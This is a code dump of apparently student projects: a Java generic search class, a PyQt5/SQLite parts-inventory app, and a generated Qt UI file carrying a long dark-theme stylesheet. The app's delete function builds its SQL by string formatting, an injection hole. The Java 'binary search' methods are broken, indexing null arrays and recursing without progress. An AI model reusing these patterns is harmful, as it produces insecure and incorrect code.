arrayObjetos[8] = new Fruta("Chincuya","verde"); //Metodo de buscar
System.out.println("Encontrado posicion: " + buscaFruta.binariaIterativo(listaFrutaBinario,arrayObjetos[8],true));
}
}
<file_sep>/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package ejemplosgenerica;
import java.util.ArrayList;
/**
*
* @author MoisesDario
*/
public class Search <T extends Comparable<T>>{
public int Lineal(ListaSimple<T>a,T b, boolean d){
int iter=0;
for(int i=1; i <= a.size(); i++){
if(b.compareTo(a.get(i)) == 0){
if(d)
System.out.println("Iteraciones Lineal: " + iter);
return i;
}
if(d)
iter++;
}
return -1;
}
public int binariaIterativo(ListaSimple<T> a, T b, boolean d){
int resultado = -1;
int iter = 0;
int dato=0;
int arreglo[]=null;
int centro,inf=0;
int sup=0;
for(int i=1; i < a.size(); i++){
if(b.compareTo(a.get(i))== 0){
while(inf <= sup){
if(d)
iter++;
System.out.println("Iteraciones Binario Iterativo: " + iter);
return i;
}
centro = (inf + sup) /2;
if(arreglo[centro] == dato){
return centro;
}else if(arreglo[centro] < dato)
inf = centro +1;
else if(arreglo[centro] > dato)
sup = centro - 1;
}
if(d)
iter++;
}
return -1;
}
public int binariaRecusiva(ListaSimple<T> a, T b, boolean d){
int resultado = -1;
int iter=0;
int array[]=null;
int firstElement = 0;
int lastElement = 0;
int elementToSerach=0;
for(int i=1; i < a.size(); i++){
if(b.compareTo(a.get(i)) == 0){
if(lastElement >= firstElement){
if(d)
iter++;
System.out.println("Iteraciones Binario Recursivo: " + iter);
return i;
}
int mid = firstElement + (lastElement - firstElement) / 2;
if(array[mid] == elementToSerach)
return mid;
if(mid > elementToSerach)
return binariaRecusiva(a, b,d);
return binariaRecusiva(a, b,d);
}
if(d)
iter++;
}
return resultado;
}
}
|
11b06da13dda558733871866d075fecd508578ca
|
[
"Markdown",
"Java"
] | 3 |
Markdown
|
MoisesLopezVan/GenericaClase-Busqueda
|
4554017f1d26a1ab36bd3ae3538c1bb8def1c542
|
c1c6885bbe819086d7cbfcbab9a82fa53b85225a
|
refs/heads/main
|
<repo_name>11yavuz11/stok-takip<file_sep>/ui.topy.py
from PyQt5 import uic
with open('pencere.py', 'w', encoding="utf-8") as fout:
uic.compileUi('pencere.ui', fout)<file_sep>/main.py
import sys
from PyQt5.QtWidgets import *
from pencere import *
import sqlite3
Uygulama=QApplication(sys.argv)
penAna=QMainWindow()
ui=Ui_Pencere()
ui.setupUi(penAna)
penAna.show()
global curs
global conn
conn=sqlite3.connect('veritabani.db')
curs=conn.cursor()
sorguCreTblSpor=("CREATE TABLE IF NOT EXISTS parca( \
Id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, \
Seri_No TEXT NOT NULL UNIQUE, \
Parca_Adi TEXT NOT NULL, \
Adet TEXT NOT NULL, \
Fiyat TEXT NOT NULL)")
curs.execute(sorguCreTblSpor)
conn.commit()
def Ekle():
seri_no=ui.ln_serino.text()
parca_adi= ui.ln_parcaadi.text()
adet=ui.ln_adet.text()
fiyat=float(ui.ln_fiyat.text())
cevap=QMessageBox.question(penAna,"KAYIT EKLEME","Kaydı eklemek istediğinize emin misiniz?",\
QMessageBox.Yes | QMessageBox.No)
if cevap==QMessageBox.Yes:
curs.execute("INSERT INTO parca \
(Seri_No,Parca_Adi,Adet,Fiyat) \
VALUES (?,?,?,?)", \
(seri_no,parca_adi,adet,fiyat))
conn.commit()
Listele()
def Listele():
ui.tableWidget.clear()
ui.tableWidget.setHorizontalHeaderLabels(("No","Seri No","Parca Adı","Adet","Fiyat"))
ui.tableWidget.horizontalHeader().setSectionResizeMode(QHeaderView.Stretch)
curs.execute("SELECT * FROM parca")
for satirIndeks, satirVeri in enumerate(curs):
for sutunIndeks, sutunVeri in enumerate (satirVeri):
ui.tableWidget.setItem(satirIndeks,sutunIndeks,QTableWidgetItem(str(sutunVeri)))
ui.ln_serino.clear()
ui.ln_parcaadi.clear()
ui.ln_adet.clear()
ui.ln_fiyat.clear()
def Cikis():
cevap=QMessageBox.question(penAna,"ÇIKIŞ","Programdan çıkmak istediğinize emin misiniz?",\
QMessageBox.Yes | QMessageBox.No)
if cevap==QMessageBox.Yes:
conn.close()
sys.exit(Uygulama.exec_())
else:
penAna.show()
def Sil():
cevap=QMessageBox.question(penAna,"KAYIT SİL","Kaydı silmek istediğinize emin misiniz?",\
QMessageBox.Yes | QMessageBox.No)
if cevap == QMessageBox.Yes:
secili = ui.tableWidget.selectedItems()
silinecek = secili[1].text()
try:
curs.execute("DELETE FROM parca WHERE Seri_No='%s'" % (silinecek))
conn.commit()
Listele()
ui.statusbar.showMessage("KAYIT SİLME İŞLEMİ BAŞARIYLA GERÇEKLEŞTİ...", 10000)
except Exception as Hata:
ui.statusbar.showMessage("Şöyle bir hata ile karşılaşıldı:" + str(Hata))
else:
ui.statusbar.showMessage("Silme işlemi iptal edildi...", 10000)
def Ara():
aranan1=ui.ln_serino.text()
aranan2=ui.ln_parcaadi.text()
curs.execute("SELECT * FROM parca WHERE Seri_No=? OR Parca_Adi=?",(aranan1, aranan2))
conn.commit()
ui.tableWidget.clear()
for satirIndeks, satirVeri in enumerate(curs):
for sutunIndeks, sutunVeri in enumerate (satirVeri):
ui.tableWidget.setItem(satirIndeks,sutunIndeks,QTableWidgetItem(str(sutunVeri)))
def Temizle():
ui.ln_serino.clear()
ui.ln_parcaadi.clear()
ui.ln_adet.clear()
ui.ln_fiyat.clear()
def Doldur():
try:
secili=ui.tableWidget.selectedItems()
ui.ln_serino.setText(secili[1].text())
ui.ln_parcaadi.setText(secili[2].text())
ui.ln_adet.setText(secili[3].text())
ui.ln_fiyat.setText(secili[4].text())
except Exception as hata:
ui.ln_serino.clear()
ui.ln_parcaadi.clear()
ui.ln_adet.clear()
ui.ln_fiyat.clear()
def Guncelle():
cevap=QMessageBox.question(penAna,"KAYIT GÜNCELLE","Kaydı güncellemek istediğinize emin misiniz?",\
QMessageBox.Yes | QMessageBox.No)
if cevap==QMessageBox.Yes:
try:
secili=ui.tableWidget.selectedItems()
_Id=int(secili[0].text())
_seri_no=ui.ln_serino.text()
_parca_adi=ui.ln_parcaadi.text()
_adet=ui.ln_adet.text()
_fiyat=ui.ln_fiyat.text()
curs.execute("UPDATE parca SET Seri_No=?, Parca_Adi=?, Adet=?, Fiyat=? WHERE Id=?",(_seri_no,_parca_adi,_adet,_fiyat,_Id))
conn.commit()
Listele()
except Exception as hata:
ui.statusbar.showMessage("Şöyle bir hata meydana geldi" + str(hata))
else:
ui.statusbar.showMessage("Güncelleme iptal edildi",5000)
Listele()
ui.btn_kaydet.clicked.connect(Ekle)
ui.btn_cikis.clicked.connect(Cikis)
ui.btn_sil.clicked.connect(Sil)
ui.btn_ara.clicked.connect(Ara)
ui.btn_temizle.clicked.connect(Temizle)
ui.btn_guncelle.clicked.connect(Guncelle)
ui.btn_listele.clicked.connect(Listele)
ui.tableWidget.itemSelectionChanged.connect(Doldur)
sys.exit(Uygulama.exec_())<file_sep>/pencere.py
# -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'pencere.ui'
#
# Created by: PyQt5 UI code generator 5.15.3
#
# WARNING: Any manual changes made to this file will be lost when pyuic5 is
# run again. Do not edit this file unless you know what you are doing.
from PyQt5 import QtCore, QtGui, QtWidgets
class Ui_Pencere(object):
def setupUi(self, Pencere):
Pencere.setObjectName("Pencere")
Pencere.resize(700, 600)
Pencere.setMinimumSize(QtCore.QSize(700, 600))
Pencere.setMaximumSize(QtCore.QSize(700, 600))
icon = QtGui.QIcon()
icon.addPixmap(QtGui.QPixmap("icon.ico"), QtGui.QIcon.Normal, QtGui.QIcon.Off)
Pencere.setWindowIcon(icon)
Pencere.setStyleSheet("/* ---------------------------------------------------------------------------\n"
"\n"
" Created by the qtsass compiler v0.1.1\n"
"\n"
" The definitions are in the \"qdarkstyle.qss._styles.scss\" module\n"
"\n"
" WARNING! All changes made in this file will be lost!\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"/* QDarkStyleSheet -----------------------------------------------------------\n"
"\n"
"This is the main style sheet, the palette has nine colors.\n"
"\n"
"It is based on three selecting colors, three greyish (background) colors\n"
"plus three whitish (foreground) colors. Each set of widgets of the same\n"
"type have a header like this:\n"
"\n"
" ------------------\n"
" GroupName --------\n"
" ------------------\n"
"\n"
"And each widget is separated with a header like this:\n"
"\n"
" QWidgetName ------\n"
"\n"
"This makes more easy to find and change some css field. The basic\n"
"configuration is described bellow.\n"
"\n"
" BACKGROUND -----------\n"
"\n"
" Light (unpressed)\n"
" Normal (border, disabled, pressed, checked, toolbars, menus)\n"
" Dark (background)\n"
"\n"
" FOREGROUND -----------\n"
"\n"
" Light (texts/labels)\n"
" Normal (not used yet)\n"
" Dark (disabled texts)\n"
"\n"
" SELECTION ------------\n"
"\n"
" Light (selection/hover/active)\n"
" Normal (selected)\n"
" Dark (selected disabled)\n"
"\n"
"If a stranger configuration is required because of a bugfix or anything\n"
"else, keep the comment on the line above so nobody changes it, including the\n"
"issue number.\n"
"\n"
"*/\n"
"/*\n"
"\n"
"See Qt documentation:\n"
"\n"
" - https://doc.qt.io/qt-5/stylesheet.html\n"
" - https://doc.qt.io/qt-5/stylesheet-reference.html\n"
" - https://doc.qt.io/qt-5/stylesheet-examples.html\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"/* QWidget ----------------------------------------------------------------\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QWidget {\n"
" background-color: #19232D;\n"
" border: 0px solid #32414B;\n"
" padding: 0px;\n"
" color: #F0F0F0;\n"
" selection-background-color: #1464A0;\n"
" selection-color: #F0F0F0;\n"
"}\n"
"\n"
"QWidget:disabled {\n"
" background-color: #19232D;\n"
" color: #787878;\n"
" selection-background-color: #14506E;\n"
" selection-color: #787878;\n"
"}\n"
"\n"
"QWidget::item:selected {\n"
" background-color: #1464A0;\n"
"}\n"
"\n"
"QWidget::item:hover {\n"
" background-color: #148CD2;\n"
" color: #32414B;\n"
"}\n"
"\n"
"/* QMainWindow ------------------------------------------------------------\n"
"\n"
"This adjusts the splitter in the dock widget, not qsplitter\n"
"https://doc.qt.io/qt-5/stylesheet-examples.html#customizing-qmainwindow\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QMainWindow::separator {\n"
" background-color: #32414B;\n"
" border: 0px solid #19232D;\n"
" spacing: 0px;\n"
" padding: 2px;\n"
"}\n"
"\n"
"QMainWindow::separator:hover {\n"
" background-color: #505F69;\n"
" border: 0px solid #148CD2;\n"
"}\n"
"\n"
"QMainWindow::separator:horizontal {\n"
" width: 5px;\n"
" margin-top: 2px;\n"
" margin-bottom: 2px;\n"
" image: url(\":/qss_icons/rc/toolbar_separator_vertical.png\");\n"
"}\n"
"\n"
"QMainWindow::separator:vertical {\n"
" height: 5px;\n"
" margin-left: 2px;\n"
" margin-right: 2px;\n"
" image: url(\":/qss_icons/rc/toolbar_separator_horizontal.png\");\n"
"}\n"
"\n"
"/* QToolTip ---------------------------------------------------------------\n"
"\n"
"https://doc.qt.io/qt-5/stylesheet-examples.html#customizing-qtooltip\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QToolTip {\n"
" background-color: #148CD2;\n"
" border: 1px solid #19232D;\n"
" color: #19232D;\n"
" /* Remove padding, for fix combo box tooltip */\n"
" padding: 0px;\n"
" /* Remove opacity, fix #174 - may need to use RGBA */\n"
"}\n"
"\n"
"/* QStatusBar -------------------------------------------------------------\n"
"\n"
"https://doc.qt.io/qt-5/stylesheet-examples.html#customizing-qstatusbar\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QStatusBar {\n"
" border: 1px solid #32414B;\n"
" /* Fixes Spyder #9120, #9121 */\n"
" background: #32414B;\n"
" /* Fixes #205, white vertical borders separating items */\n"
"}\n"
"\n"
"QStatusBar::item {\n"
" border: none;\n"
"}\n"
"\n"
"QStatusBar QToolTip {\n"
" background-color: #148CD2;\n"
" border: 1px solid #19232D;\n"
" color: #19232D;\n"
" /* Remove padding, for fix combo box tooltip */\n"
" padding: 0px;\n"
" /* Reducing transparency to read better */\n"
" opacity: 230;\n"
"}\n"
"\n"
"QStatusBar QLabel {\n"
" /* Fixes Spyder #9120, #9121 */\n"
" background: transparent;\n"
"}\n"
"\n"
"/* QCheckBox --------------------------------------------------------------\n"
"\n"
"https://doc.qt.io/qt-5/stylesheet-examples.html#customizing-qcheckbox\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QCheckBox {\n"
" background-color: #19232D;\n"
" color: #F0F0F0;\n"
" spacing: 4px;\n"
" outline: none;\n"
" padding-top: 4px;\n"
" padding-bottom: 4px;\n"
"}\n"
"\n"
"QCheckBox:focus {\n"
" border: none;\n"
"}\n"
"\n"
"QCheckBox QWidget:disabled {\n"
" background-color: #19232D;\n"
" color: #787878;\n"
"}\n"
"\n"
"QCheckBox::indicator {\n"
" margin-left: 4px;\n"
" height: 16px;\n"
" width: 16px;\n"
"}\n"
"\n"
"QCheckBox::indicator:unchecked {\n"
" image: url(\":/qss_icons/rc/checkbox_unchecked.png\");\n"
"}\n"
"\n"
"QCheckBox::indicator:unchecked:hover, QCheckBox::indicator:unchecked:focus, QCheckBox::indicator:unchecked:pressed {\n"
" border: none;\n"
" image: url(\":/qss_icons/rc/checkbox_unchecked_focus.png\");\n"
"}\n"
"\n"
"QCheckBox::indicator:unchecked:disabled {\n"
" image: url(\":/qss_icons/rc/checkbox_unchecked_disabled.png\");\n"
"}\n"
"\n"
"QCheckBox::indicator:checked {\n"
" image: url(\":/qss_icons/rc/checkbox_checked.png\");\n"
"}\n"
"\n"
"QCheckBox::indicator:checked:hover, QCheckBox::indicator:checked:focus, QCheckBox::indicator:checked:pressed {\n"
" border: none;\n"
" image: url(\":/qss_icons/rc/checkbox_checked_focus.png\");\n"
"}\n"
"\n"
"QCheckBox::indicator:checked:disabled {\n"
" image: url(\":/qss_icons/rc/checkbox_checked_disabled.png\");\n"
"}\n"
"\n"
"QCheckBox::indicator:indeterminate {\n"
" image: url(\":/qss_icons/rc/checkbox_indeterminate.png\");\n"
"}\n"
"\n"
"QCheckBox::indicator:indeterminate:disabled {\n"
" image: url(\":/qss_icons/rc/checkbox_indeterminate_disabled.png\");\n"
"}\n"
"\n"
"QCheckBox::indicator:indeterminate:focus, QCheckBox::indicator:indeterminate:hover, QCheckBox::indicator:indeterminate:pressed {\n"
" image: url(\":/qss_icons/rc/checkbox_indeterminate_focus.png\");\n"
"}\n"
"\n"
"/* QGroupBox --------------------------------------------------------------\n"
"\n"
"https://doc.qt.io/qt-5/stylesheet-examples.html#customizing-qgroupbox\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QGroupBox {\n"
" font-weight: bold;\n"
" border: 1px solid #32414B;\n"
" border-radius: 4px;\n"
" padding: 4px;\n"
" margin-top: 16px;\n"
"}\n"
"\n"
"QGroupBox::title {\n"
" subcontrol-origin: margin;\n"
" subcontrol-position: top left;\n"
" left: 3px;\n"
" padding-left: 3px;\n"
" padding-right: 5px;\n"
" padding-top: 8px;\n"
" padding-bottom: 16px;\n"
"}\n"
"\n"
"QGroupBox::indicator {\n"
" margin-left: 2px;\n"
" height: 16px;\n"
" width: 16px;\n"
"}\n"
"\n"
"QGroupBox::indicator:unchecked {\n"
" border: none;\n"
" image: url(\":/qss_icons/rc/checkbox_unchecked.png\");\n"
"}\n"
"\n"
"QGroupBox::indicator:unchecked:hover, QGroupBox::indicator:unchecked:focus, QGroupBox::indicator:unchecked:pressed {\n"
" border: none;\n"
" image: url(\":/qss_icons/rc/checkbox_unchecked_focus.png\");\n"
"}\n"
"\n"
"QGroupBox::indicator:unchecked:disabled {\n"
" image: url(\":/qss_icons/rc/checkbox_unchecked_disabled.png\");\n"
"}\n"
"\n"
"QGroupBox::indicator:checked {\n"
" border: none;\n"
" image: url(\":/qss_icons/rc/checkbox_checked.png\");\n"
"}\n"
"\n"
"QGroupBox::indicator:checked:hover, QGroupBox::indicator:checked:focus, QGroupBox::indicator:checked:pressed {\n"
" border: none;\n"
" image: url(\":/qss_icons/rc/checkbox_checked_focus.png\");\n"
"}\n"
"\n"
"QGroupBox::indicator:checked:disabled {\n"
" image: url(\":/qss_icons/rc/checkbox_checked_disabled.png\");\n"
"}\n"
"\n"
"/* QRadioButton -----------------------------------------------------------\n"
"\n"
"https://doc.qt.io/qt-5/stylesheet-examples.html#customizing-qradiobutton\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QRadioButton {\n"
" background-color: #19232D;\n"
" color: #F0F0F0;\n"
" spacing: 4px;\n"
" padding: 0px;\n"
" border: none;\n"
" outline: none;\n"
"}\n"
"\n"
"QRadioButton:focus {\n"
" border: none;\n"
"}\n"
"\n"
"QRadioButton:disabled {\n"
" background-color: #19232D;\n"
" color: #787878;\n"
" border: none;\n"
" outline: none;\n"
"}\n"
"\n"
"QRadioButton QWidget {\n"
" background-color: #19232D;\n"
" color: #F0F0F0;\n"
" spacing: 0px;\n"
" padding: 0px;\n"
" outline: none;\n"
" border: none;\n"
"}\n"
"\n"
"QRadioButton::indicator {\n"
" border: none;\n"
" outline: none;\n"
" margin-left: 4px;\n"
" height: 16px;\n"
" width: 16px;\n"
"}\n"
"\n"
"QRadioButton::indicator:unchecked {\n"
" image: url(\":/qss_icons/rc/radio_unchecked.png\");\n"
"}\n"
"\n"
"QRadioButton::indicator:unchecked:hover, QRadioButton::indicator:unchecked:focus, QRadioButton::indicator:unchecked:pressed {\n"
" border: none;\n"
" outline: none;\n"
" image: url(\":/qss_icons/rc/radio_unchecked_focus.png\");\n"
"}\n"
"\n"
"QRadioButton::indicator:unchecked:disabled {\n"
" image: url(\":/qss_icons/rc/radio_unchecked_disabled.png\");\n"
"}\n"
"\n"
"QRadioButton::indicator:checked {\n"
" border: none;\n"
" outline: none;\n"
" image: url(\":/qss_icons/rc/radio_checked.png\");\n"
"}\n"
"\n"
"QRadioButton::indicator:checked:hover, QRadioButton::indicator:checked:focus, QRadioButton::indicator:checked:pressed {\n"
" border: none;\n"
" outline: none;\n"
" image: url(\":/qss_icons/rc/radio_checked_focus.png\");\n"
"}\n"
"\n"
"QRadioButton::indicator:checked:disabled {\n"
" outline: none;\n"
" image: url(\":/qss_icons/rc/radio_checked_disabled.png\");\n"
"}\n"
"\n"
"/* QMenuBar ---------------------------------------------------------------\n"
"\n"
"https://doc.qt.io/qt-5/stylesheet-examples.html#customizing-qmenubar\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QMenuBar {\n"
" background-color: #32414B;\n"
" padding: 2px;\n"
" border: 1px solid #19232D;\n"
" color: #F0F0F0;\n"
"}\n"
"\n"
"QMenuBar:focus {\n"
" border: 1px solid #148CD2;\n"
"}\n"
"\n"
"QMenuBar::item {\n"
" background: transparent;\n"
" padding: 4px;\n"
"}\n"
"\n"
"QMenuBar::item:selected {\n"
" padding: 4px;\n"
" background: transparent;\n"
" border: 0px solid #32414B;\n"
"}\n"
"\n"
"QMenuBar::item:pressed {\n"
" padding: 4px;\n"
" border: 0px solid #32414B;\n"
" background-color: #148CD2;\n"
" color: #F0F0F0;\n"
" margin-bottom: 0px;\n"
" padding-bottom: 0px;\n"
"}\n"
"\n"
"/* QMenu ------------------------------------------------------------------\n"
"\n"
"https://doc.qt.io/qt-5/stylesheet-examples.html#customizing-qmenu\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QMenu {\n"
" border: 0px solid #32414B;\n"
" color: #F0F0F0;\n"
" margin: 0px;\n"
"}\n"
"\n"
"QMenu::separator {\n"
" height: 1px;\n"
" background-color: #505F69;\n"
" color: #F0F0F0;\n"
"}\n"
"\n"
"QMenu::icon {\n"
" margin: 0px;\n"
" padding-left: 8px;\n"
"}\n"
"\n"
"QMenu::item {\n"
" background-color: #32414B;\n"
" padding: 4px 24px 4px 24px;\n"
" /* Reserve space for selection border */\n"
" border: 1px transparent #32414B;\n"
"}\n"
"\n"
"QMenu::item:selected {\n"
" color: #F0F0F0;\n"
"}\n"
"\n"
"QMenu::indicator {\n"
" width: 12px;\n"
" height: 12px;\n"
" padding-left: 6px;\n"
" /* non-exclusive indicator = check box style indicator (see QActionGroup::setExclusive) */\n"
" /* exclusive indicator = radio button style indicator (see QActionGroup::setExclusive) */\n"
"}\n"
"\n"
"QMenu::indicator:non-exclusive:unchecked {\n"
" image: url(\":/qss_icons/rc/checkbox_unchecked.png\");\n"
"}\n"
"\n"
"QMenu::indicator:non-exclusive:unchecked:selected {\n"
" image: url(\":/qss_icons/rc/checkbox_unchecked_disabled.png\");\n"
"}\n"
"\n"
"QMenu::indicator:non-exclusive:checked {\n"
" image: url(\":/qss_icons/rc/checkbox_checked.png\");\n"
"}\n"
"\n"
"QMenu::indicator:non-exclusive:checked:selected {\n"
" image: url(\":/qss_icons/rc/checkbox_checked_disabled.png\");\n"
"}\n"
"\n"
"QMenu::indicator:exclusive:unchecked {\n"
" image: url(\":/qss_icons/rc/radio_unchecked.png\");\n"
"}\n"
"\n"
"QMenu::indicator:exclusive:unchecked:selected {\n"
" image: url(\":/qss_icons/rc/radio_unchecked_disabled.png\");\n"
"}\n"
"\n"
"QMenu::indicator:exclusive:checked {\n"
" image: url(\":/qss_icons/rc/radio_checked.png\");\n"
"}\n"
"\n"
"QMenu::indicator:exclusive:checked:selected {\n"
" image: url(\":/qss_icons/rc/radio_checked_disabled.png\");\n"
"}\n"
"\n"
"QMenu::right-arrow {\n"
" margin: 5px;\n"
" image: url(\":/qss_icons/rc/arrow_right.png\");\n"
" height: 12px;\n"
" width: 12px;\n"
"}\n"
"\n"
"/* QAbstractItemView ------------------------------------------------------\n"
"\n"
"https://doc.qt.io/qt-5/stylesheet-examples.html#customizing-qcombobox\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QAbstractItemView {\n"
" alternate-background-color: #19232D;\n"
" color: #F0F0F0;\n"
" border: 1px solid #32414B;\n"
" border-radius: 4px;\n"
"}\n"
"\n"
"QAbstractItemView QLineEdit {\n"
" padding: 2px;\n"
"}\n"
"\n"
"/* QAbstractScrollArea ----------------------------------------------------\n"
"\n"
"https://doc.qt.io/qt-5/stylesheet-examples.html#customizing-qabstractscrollarea\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QAbstractScrollArea {\n"
" background-color: #19232D;\n"
" border: 1px solid #32414B;\n"
" border-radius: 4px;\n"
" padding: 2px;\n"
" /* fix #159 */\n"
" min-height: 1.25em;\n"
" /* fix #159 */\n"
" color: #F0F0F0;\n"
"}\n"
"\n"
"QAbstractScrollArea:disabled {\n"
" color: #787878;\n"
"}\n"
"\n"
"/* QScrollArea ------------------------------------------------------------\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QScrollArea QWidget QWidget:disabled {\n"
" background-color: #19232D;\n"
"}\n"
"\n"
"/* QScrollBar -------------------------------------------------------------\n"
"\n"
"https://doc.qt.io/qt-5/stylesheet-examples.html#customizing-qscrollbar\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QScrollBar:horizontal {\n"
" height: 16px;\n"
" margin: 2px 16px 2px 16px;\n"
" border: 1px solid #32414B;\n"
" border-radius: 4px;\n"
" background-color: #19232D;\n"
"}\n"
"\n"
"QScrollBar:vertical {\n"
" background-color: #19232D;\n"
" width: 16px;\n"
" margin: 16px 2px 16px 2px;\n"
" border: 1px solid #32414B;\n"
" border-radius: 4px;\n"
"}\n"
"\n"
"QScrollBar::handle:horizontal {\n"
" background-color: #787878;\n"
" border: 1px solid #32414B;\n"
" border-radius: 4px;\n"
" min-width: 8px;\n"
"}\n"
"\n"
"QScrollBar::handle:horizontal:hover {\n"
" background-color: #148CD2;\n"
" border: 1px solid #148CD2;\n"
" border-radius: 4px;\n"
" min-width: 8px;\n"
"}\n"
"\n"
"QScrollBar::handle:horizontal:focus {\n"
" border: 1px solid #1464A0;\n"
"}\n"
"\n"
"QScrollBar::handle:vertical {\n"
" background-color: #787878;\n"
" border: 1px solid #32414B;\n"
" min-height: 8px;\n"
" border-radius: 4px;\n"
"}\n"
"\n"
"QScrollBar::handle:vertical:hover {\n"
" background-color: #148CD2;\n"
" border: 1px solid #148CD2;\n"
" border-radius: 4px;\n"
" min-height: 8px;\n"
"}\n"
"\n"
"QScrollBar::handle:vertical:focus {\n"
" border: 1px solid #1464A0;\n"
"}\n"
"\n"
"QScrollBar::add-line:horizontal {\n"
" margin: 0px 0px 0px 0px;\n"
" border-image: url(\":/qss_icons/rc/arrow_right_disabled.png\");\n"
" height: 12px;\n"
" width: 12px;\n"
" subcontrol-position: right;\n"
" subcontrol-origin: margin;\n"
"}\n"
"\n"
"QScrollBar::add-line:horizontal:hover, QScrollBar::add-line:horizontal:on {\n"
" border-image: url(\":/qss_icons/rc/arrow_right.png\");\n"
" height: 12px;\n"
" width: 12px;\n"
" subcontrol-position: right;\n"
" subcontrol-origin: margin;\n"
"}\n"
"\n"
"QScrollBar::add-line:vertical {\n"
" margin: 3px 0px 3px 0px;\n"
" border-image: url(\":/qss_icons/rc/arrow_down_disabled.png\");\n"
" height: 12px;\n"
" width: 12px;\n"
" subcontrol-position: bottom;\n"
" subcontrol-origin: margin;\n"
"}\n"
"\n"
"QScrollBar::add-line:vertical:hover, QScrollBar::add-line:vertical:on {\n"
" border-image: url(\":/qss_icons/rc/arrow_down.png\");\n"
" height: 12px;\n"
" width: 12px;\n"
" subcontrol-position: bottom;\n"
" subcontrol-origin: margin;\n"
"}\n"
"\n"
"QScrollBar::sub-line:horizontal {\n"
" margin: 0px 3px 0px 3px;\n"
" border-image: url(\":/qss_icons/rc/arrow_left_disabled.png\");\n"
" height: 12px;\n"
" width: 12px;\n"
" subcontrol-position: left;\n"
" subcontrol-origin: margin;\n"
"}\n"
"\n"
"QScrollBar::sub-line:horizontal:hover, QScrollBar::sub-line:horizontal:on {\n"
" border-image: url(\":/qss_icons/rc/arrow_left.png\");\n"
" height: 12px;\n"
" width: 12px;\n"
" subcontrol-position: left;\n"
" subcontrol-origin: margin;\n"
"}\n"
"\n"
"QScrollBar::sub-line:vertical {\n"
" margin: 3px 0px 3px 0px;\n"
" border-image: url(\":/qss_icons/rc/arrow_up_disabled.png\");\n"
" height: 12px;\n"
" width: 12px;\n"
" subcontrol-position: top;\n"
" subcontrol-origin: margin;\n"
"}\n"
"\n"
"QScrollBar::sub-line:vertical:hover, QScrollBar::sub-line:vertical:on {\n"
" border-image: url(\":/qss_icons/rc/arrow_up.png\");\n"
" height: 12px;\n"
" width: 12px;\n"
" subcontrol-position: top;\n"
" subcontrol-origin: margin;\n"
"}\n"
"\n"
"QScrollBar::up-arrow:horizontal, QScrollBar::down-arrow:horizontal {\n"
" background: none;\n"
"}\n"
"\n"
"QScrollBar::up-arrow:vertical, QScrollBar::down-arrow:vertical {\n"
" background: none;\n"
"}\n"
"\n"
"QScrollBar::add-page:horizontal, QScrollBar::sub-page:horizontal {\n"
" background: none;\n"
"}\n"
"\n"
"QScrollBar::add-page:vertical, QScrollBar::sub-page:vertical {\n"
" background: none;\n"
"}\n"
"\n"
"/* QTextEdit --------------------------------------------------------------\n"
"\n"
"https://doc.qt.io/qt-5/stylesheet-examples.html#customizing-specific-widgets\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QTextEdit {\n"
" background-color: #19232D;\n"
" color: #F0F0F0;\n"
" border-radius: 4px;\n"
" border: 1px solid #32414B;\n"
"}\n"
"\n"
"QTextEdit:hover {\n"
" border: 1px solid #148CD2;\n"
" color: #F0F0F0;\n"
"}\n"
"\n"
"QTextEdit:focus {\n"
" border: 1px solid #1464A0;\n"
"}\n"
"\n"
"QTextEdit:selected {\n"
" background: #1464A0;\n"
" color: #32414B;\n"
"}\n"
"\n"
"/* QPlainTextEdit ---------------------------------------------------------\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QPlainTextEdit {\n"
" background-color: #19232D;\n"
" color: #F0F0F0;\n"
" border-radius: 4px;\n"
" border: 1px solid #32414B;\n"
"}\n"
"\n"
"QPlainTextEdit:hover {\n"
" border: 1px solid #148CD2;\n"
" color: #F0F0F0;\n"
"}\n"
"\n"
"QPlainTextEdit:focus {\n"
" border: 1px solid #1464A0;\n"
"}\n"
"\n"
"QPlainTextEdit:selected {\n"
" background: #1464A0;\n"
" color: #32414B;\n"
"}\n"
"\n"
"/* QSizeGrip --------------------------------------------------------------\n"
"\n"
"https://doc.qt.io/qt-5/stylesheet-examples.html#customizing-qsizegrip\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QSizeGrip {\n"
" background: transparent;\n"
" width: 12px;\n"
" height: 12px;\n"
" image: url(\":/qss_icons/rc/window_grip.png\");\n"
"}\n"
"\n"
"/* QStackedWidget ---------------------------------------------------------\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QStackedWidget {\n"
" padding: 2px;\n"
" border: 1px solid #32414B;\n"
" border: 1px solid #19232D;\n"
"}\n"
"\n"
"/* QToolBar ---------------------------------------------------------------\n"
"\n"
"https://doc.qt.io/qt-5/stylesheet-examples.html#customizing-qtoolbar\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QToolBar {\n"
" background-color: #32414B;\n"
" border-bottom: 1px solid #19232D;\n"
" padding: 2px;\n"
" font-weight: bold;\n"
" spacing: 2px;\n"
"}\n"
"\n"
"QToolBar QToolButton {\n"
" background-color: #32414B;\n"
" border: 1px solid #32414B;\n"
"}\n"
"\n"
"QToolBar QToolButton:hover {\n"
" border: 1px solid #148CD2;\n"
"}\n"
"\n"
"QToolBar QToolButton:checked {\n"
" border: 1px solid #19232D;\n"
" background-color: #19232D;\n"
"}\n"
"\n"
"QToolBar QToolButton:checked:hover {\n"
" border: 1px solid #148CD2;\n"
"}\n"
"\n"
"QToolBar::handle:horizontal {\n"
